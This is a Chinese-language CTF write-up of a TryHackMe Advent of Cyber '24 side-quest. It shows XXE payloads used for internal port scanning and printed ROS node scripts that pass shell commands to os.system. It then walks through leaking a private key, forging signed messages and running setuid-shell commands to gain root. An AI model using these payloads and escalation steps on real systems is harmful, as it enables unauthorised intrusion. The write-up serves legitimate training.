0%

THM打靶日寄61-Advent of Cyber '24:支线T2丑陋复现

  • keycard

    继续通过时间判断出位于 Day5 的房间中,注意到最后一句的提示:

    那就是利用rce来扫端口:

    1
    2
    3
    4
    5
    6
    7
    8
    <!--?xml version="1.0" ?-->
    <!DOCTYPE foo [<!ENTITY payload SYSTEM "http://127.0.0.1:FUZZ/"> ]>
    <wishlist>
    <user_id>1</user_id>
    <item>
    <product_id>&payload;</product_id>
    </item>
    </wishlist>

    把整个数据包存下来跑 ffuf

    1
    ffuf -request port_scan -request-proto http -w <(seq 1 65537)  -fs 19

    拿到一个 3306 ,但没有什么东西

    偷看发现这里应该编码请求来绕过过滤:

    1
    2
    3
    4
    5
    6
    7
    8
    <!--?xml version="1.0" ?-->
    <!DOCTYPE foo [<!ENTITY payload SYSTEM "php://filter/convert.base64-encode/resource=http://127.0.0.1:FUZZ/"> ]>
    <wishlist>
    <user_id>1</user_id>
    <item>
    <product_id>&payload;</product_id>
    </item>
    </wishlist>

    据此扫到 8080

    访问后得到一串 base64 字符,解密发现其访问了 access.log

    访问一下 [http://10.10.200.7/k3yZZZZZZZZZ/t2_sm1L3_4nD_w4v3_boyS.png] 得到钥匙卡

    smile_and_wave_boys

  • 前置-ros

  • 阴与阳-检查

    先扫下两台机器,都只开放了 21337 端口

    访问一下输入钥匙卡来解锁ssh登录

    那么显然此时该考虑提权到root了:

    对于 yang.shyin.sh ,发现其正在运行 rosrun ,该命令允许运行任意包中的可执行文件

    试着运行一下这两个脚本,发现其无法注册到 http://localhost:11311 上的主节点

    这里应该会有如下的回显报错,但我自己执行的时候并没有显示出来

    那么两台机器上或许都需要先运行 ros 服务器才能执行命令

    随后检查下实际运行的node脚本

    • runyin.py

      位于 /catkin_ws/src/yin/scripts/runyin.py

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      67
      68
      69
      70
      71
      72
      73
      74
      75
      76
      77
      78
      79
      80
      81
      82
      83
      84
      85
      86
      87
      88
      89
      90
      91
      92
      93
      94
      95
      96
      97
      98
      99
      100
      101
      102
      103
      104
      105
      106
      107
      108
      109
      110
      111
      112
      113
      #!/usr/bin/python3

      import rospy
      import base64
      import codecs
      import os
      from std_msgs.msg import String
      from yin.msg import Comms
      from yin.srv import yangrequest
      import hashlib
      from Cryptodome.Signature import PKCS1_v1_5
      from Cryptodome.PublicKey import RSA
      from Cryptodome.Hash import SHA256

      class Yin:
      def __init__(self):

      self.messagebus = rospy.Publisher('messagebus', Comms, queue_size=50)


      #Read the message channel private key
      pwd = b'secret'
      with open('/catkin_ws/privatekey.pem', 'rb') as f:
      data = f.read()
      self.priv_key = RSA.import_key(data,pwd)

      self.priv_key_str = self.priv_key.export_key().decode()

      rospy.init_node('yin')

      self.prompt_rate = rospy.Rate(0.5)

      #Read the service secret
      with open('/catkin_ws/secret.txt', 'r') as f:
      data = f.read()
      self.secret = data.replace('\n','')

      self.service = rospy.Service('svc_yang', yangrequest, self.handle_yang_request)

      def handle_yang_request(self, req):
      # Check secret first
      if req.secret != self.secret:
      return "Secret not valid"

      sender = req.sender
      receiver = req.receiver
      action = req.command

      os.system(action)

      response = "Action performed"

      return response


      def getBase64(self, message):
      hmac = base64.urlsafe_b64encode(message.timestamp.encode()).decode()
      hmac += "."
      hmac += base64.urlsafe_b64encode(message.sender.encode()).decode()
      hmac += "."
      hmac += base64.urlsafe_b64encode(message.receiver.encode()).decode()
      hmac += "."
      hmac += base64.urlsafe_b64encode(str(message.action).encode()).decode()
      hmac += "."
      hmac += base64.urlsafe_b64encode(str(message.actionparams).encode()).decode()
      hmac += "."
      hmac += base64.urlsafe_b64encode(message.feedback.encode()).decode()
      return hmac

      def getSHA(self, hmac):
      m = hashlib.sha256()
      m.update(hmac.encode())
      return str(m.hexdigest())

      #This function will craft the signature for the message based on the specific system being talked to
      def sign_message(self, message):
      hmac = self.getBase64(message)
      hmac = SHA256.new(hmac.encode('utf-8'))
      signature = PKCS1_v1_5.new(self.priv_key).sign(hmac)
      sig = base64.b64encode(signature).decode()
      message.hmac = sig
      return message

      def craft_ping(self, receiver):
      message = Comms()
      message.timestamp = str(rospy.get_time())
      message.sender = "Yin"
      message.receiver = receiver
      message.action = 1
      message.actionparams = ['touch /home/yang/yin.txt']
      #message.actionparams.append(self.priv_key_str)
      message.feedback = "ACTION"
      message.hmac = ""
      return message

      def send_pings(self):
      # Yang
      message = self.craft_ping("Yang")
      message = self.sign_message(message)
      self.messagebus.publish(message)

      def run_yin(self):
      while not rospy.is_shutdown():
      self.send_pings()
      self.prompt_rate.sleep()

      if __name__ == '__main__':
      try:
      yin = Yin()
      yin.run_yin()

      except rospy.ROSInterruptException:
      pass

      其功能如下:

      • 通过 messagebus 主题向另一个节点发送消息,类型为 Comms
      • /catkin_ws/privatekey.pem 中加载私钥
      • 提供服务 svc_yang ,用于处理其他节点发送的服务请求,类型为 yangrequest; 此时会验证请求中的 secret
      • 用私钥来生成消息签名
      • 周期性生成针对 yang 的消息,该消息包含具体的行为:touch /home/yang/yin.txt 并通过 messagebus 发布
    • runyang.py

      位于 /catkin_ws/src/yang/scripts/runyang.py

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      67
      68
      69
      70
      71
      72
      73
      74
      75
      76
      77
      78
      79
      80
      81
      82
      83
      84
      85
      86
      87
      88
      89
      90
      91
      92
      93
      94
      95
      96
      97
      98
      99
      100
      101
      102
      103
      104
      105
      106
      107
      108
      109
      110
      111
      112
      113
      114
      115
      116
      117
      118
      119
      120
      121
      122
      123
      124
      125
      126
      127
      128
      129
      130
      131
      132
      133
      134
      135
      136
      137
      138
      139
      140
      141
      142
      143
      144
      145
      146
      147
      148
      149
      150
      151
      152
      153
      154
      155
      156
      157
      158
      159
      160
      161
      162
      163
      164
      165
      166
      167
      168
      169
      170
      171
      172
      173
      174
      175
      #!/usr/bin/python3

      import rospy
      import base64
      import codecs
      import os
      from std_msgs.msg import String
      from yang.msg import Comms
      from yang.srv import yangrequest
      import hashlib
      from Cryptodome.Signature import PKCS1_v1_5
      from Cryptodome.PublicKey import RSA
      from Cryptodome.Hash import SHA256

      class Yang:
      def __init__(self):

      self.messagebus = rospy.Publisher('messagebus', Comms, queue_size=50)


      #Read the message channel private key
      pwd = b'secret'
      with open('/catkin_ws/privatekey.pem', 'rb') as f:
      data = f.read()
      self.priv_key = RSA.import_key(data,pwd)

      self.priv_key_str = self.priv_key.export_key().decode()

      rospy.init_node('yang')

      self.prompt_rate = rospy.Rate(0.5)

      #Read the service secret
      with open('/catkin_ws/secret.txt', 'r') as f:
      data = f.read()
      self.secret = data.replace('\n','')

      rospy.Subscriber('messagebus', Comms, self.callback)

      def callback(self, data):
      #First check to do is see if this is a message for us and one we need to respond to
      if (data.receiver != "Yang"):
      return

      #Now we know the message is for us. We can start system checks to see if it is a valid message
      if (not self.validate_message(data)):
      print ("Message could not be validated")
      return

      #Now we can action the message and send a reply
      for action in data.actionparams:
      os.system(action)

      #Now request an action from Yin
      self.yin_request()

      #Send reply
      reply = Comms()
      reply.timestamp = str(rospy.get_time())
      reply.sender = "Yang"
      reply.receiver = "Yin"
      reply.action = 2
      reply.actionparams = []
      reply.actionparams.append(self.priv_key_str)
      reply.feedback = "Action Done"
      reply.hmac = ""

      reply = self.sign_message(reply)

      self.messagebus.publish(reply)

      def validate_message(self, message):
      valid = True
      #Only accept messages from the allfather
      if (message.sender != "Yin"):
      valid = False
      print ("Message is not from Yin")
      return valid

      #First we need to validate the timestamp. The difference should not be bigger than threshold
      current_time = str(rospy.get_time())
      current_time_sec = int(current_time.split('.')[0])
      current_time_nsec = int(current_time.split('.')[1])
      message_time_sec = int(message.timestamp.split('.')[0])
      message_time_nsec = int(message.timestamp.split('.')[1])

      second_diff = current_time_sec - message_time_sec
      nsecond_diff = current_time_nsec - message_time_nsec

      if (second_diff <= 1):
      print ("Time difference is acceptable to answer message and not a replay")
      else:
      print ("Message is a replay and should be discarded")
      valid = False
      return valid
      # Here we want to respond and say that time is not acceptable thus regarded as replay

      #Now we need to validate the signature
      hmac = self.getBase64(message)
      hmac = SHA256.new(hmac.encode('utf-8'))
      signature = PKCS1_v1_5.new(self.priv_key).sign(hmac)
      sig = base64.b64encode(signature).decode()

      if (message.hmac != sig):
      print ("Signature verification failed")
      valid = False
      # Respond and say signature failed

      return valid

      def yin_request(self):
      resp = ""
      rospy.wait_for_service('svc_yang')
      try:
      service = rospy.ServiceProxy('svc_yang', yangrequest)
      response = service(self.secret, 'touch /home/yin/yang.txt', 'Yang', 'Yin')
      except rospy.ServiceException as e:
      print ("Failed: %s"%e)
      resp = response.response
      return resp


      def handle_yang_request(self, req):
      # Check secret first
      if req.secret != self.secret:
      return "Secret not valid"

      sender = req.sender
      receiver = req.receiver
      action = req.action

      os.system(action)

      response = "Action performed"

      return response

      def getBase64(self, message):
      hmac = base64.urlsafe_b64encode(message.timestamp.encode()).decode()
      hmac += "."
      hmac += base64.urlsafe_b64encode(message.sender.encode()).decode()
      hmac += "."
      hmac += base64.urlsafe_b64encode(message.receiver.encode()).decode()
      hmac += "."
      hmac += base64.urlsafe_b64encode(str(message.action).encode()).decode()
      hmac += "."
      hmac += base64.urlsafe_b64encode(str(message.actionparams).encode()).decode()
      hmac += "."
      hmac += base64.urlsafe_b64encode(message.feedback.encode()).decode()
      return hmac

      def getSHA(self, hmac):
      m = hashlib.sha256()
      m.update(hmac.encode())
      return str(m.hexdigest())

      #This function will craft the signature for the message based on the specific system being talked to
      def sign_message(self, message):
      hmac = self.getBase64(message)
      hmac = SHA256.new(hmac.encode('utf-8'))
      signature = PKCS1_v1_5.new(self.priv_key).sign(hmac)
      sig = base64.b64encode(signature).decode()
      message.hmac = sig
      return message

      def run_yang(self):
      rospy.spin()

      if __name__ == '__main__':
      try:
      yang = Yang()
      yang.run_yang()

      except rospy.ROSInterruptException:
      pass

      其功能如下:

      • 监听主题 messagebus 并接受来自 yin 的消息
      • /catkin_ws/privatekey.pem 中加载私钥
      • 接受发送给 yang 的消息并验证签名
      • 对于需要响应的消息向 yin 发送服务请求;提供服务请求处理函数 handle_yang_request ,允许 yin 节点调用
      • 使用 os.system 来执行消息中的命令
    • 拿到私钥

      runyin.py 中可以看到一个 ping 命令,由于使用的私钥只有 root 可读,所以该脚本仅能由 root 运行,即不能简单更改脚本来执行其他命令

      但从 runyang.py 中看到脚本正在用私钥的内容进行回调:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      reply = Comms()
      reply.timestamp = str(rospy.get_time())
      reply.sender = "Yang"
      reply.receiver = "Yin"
      reply.action = 2
      reply.actionparams = []
      reply.actionparams.append(self.priv_key_str) # **私钥内容被添加到消息中**
      reply.feedback = "Action Done"
      reply.hmac = ""

      即完整的私钥被公开,通过 rosmessagebus 发送给 yin

      那么思路就是在 yin 上启动 ros 主机,开始通信后监听yang 上的 messagebus 来捕获私钥,再通过私钥重写 runyin.py 脚本以在 yang 上执行其他命令提取

      1
      roscore &

      1
      sudo /catkin_ws/yin.sh &

      随后,为了让 yang 能连接到位于 yin:11311ros 服务器,通过ssh转发过去:

      1
      ssh -L 11311:localhost:11311 yin@10.10.208.76

      然后再开一个 yang 来启动 yang.sh

      再开一个 yang 来捕获 messagebus 的内容

      1
      rostopic echo /messagebus

      把私钥存下来

    • 利用私钥进行 ros 通信

      先把 yin 上的 roscore 关了

      1
      ps aux | grep roscore

      kill 掉就行

      可以将脚本另存一份下来:

      1
      cp -r /catkin_ws/src/ yin

      创一个 suid.py ,内容就是把 runyin.py 中的 touch 改成提权命令 cp /bin/sh /home/yang/sh && chmod u+s /home/yang/sh

      再创一个 privatekey.pem 放刚刚的私钥

      现在文件结构如下:

      yang 上运行 roscore 并启动 yang.sh

      1
      2
      roscore &
      sudo /catkin_ws/yang.sh

      保险起见可以把之前的窗口都先关掉(大嘘

      再在 yin 上把 yang 的端口转发过来:

      1
      ssh -L 11311:localhost:11311 yang@10.10.152.171

      然后启动 suid.py ,报错的话反思一下是不是私钥文件格式错了

      执行后 yang 那里的 yang.sh 会有显示

      yang 就提权成功了:

      同时读到 secret.txt

      thisisasecretvaluethatyouwillneverguess

  • 看回阴,在 runyin.py 中存在命令执行的地方为:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    ...
    self.service = rospy.Service('svc_yang', yangrequest, self.handle_yang_request)
    ...
    def handle_yang_request(self, req):
    # Check secret first
    if req.secret != self.secret:
    return "Secret not valid"

    sender = req.sender
    receiver = req.receiver
    action = req.command

    os.system(action)

    response = "Action performed"

    return response

    yang 的服务 svc_yang 触发了 handle_yang_request ,进而能执行 os.system

    根据 wiki条目 可以使用以下方式来调用特定服务

    1
    rosservice call /service_name service-args

    yin yang 都启动对应的 .sh ,并在 yin 上执行

    1
    rosservice list

    通过 rosservice info svc_yang 查看所需参数,并在这里找到参数提供格式

    构造出 payload

    1
    rosservice call /svc_yang "{'secret': 'thisisasecretvaluethatyouwillneverguess', 'command': 'cp /bin/sh /home/yin/sh; chmod u+s /home/yin/sh', 'sender': 'Yang', 'receiver': 'Yin'}"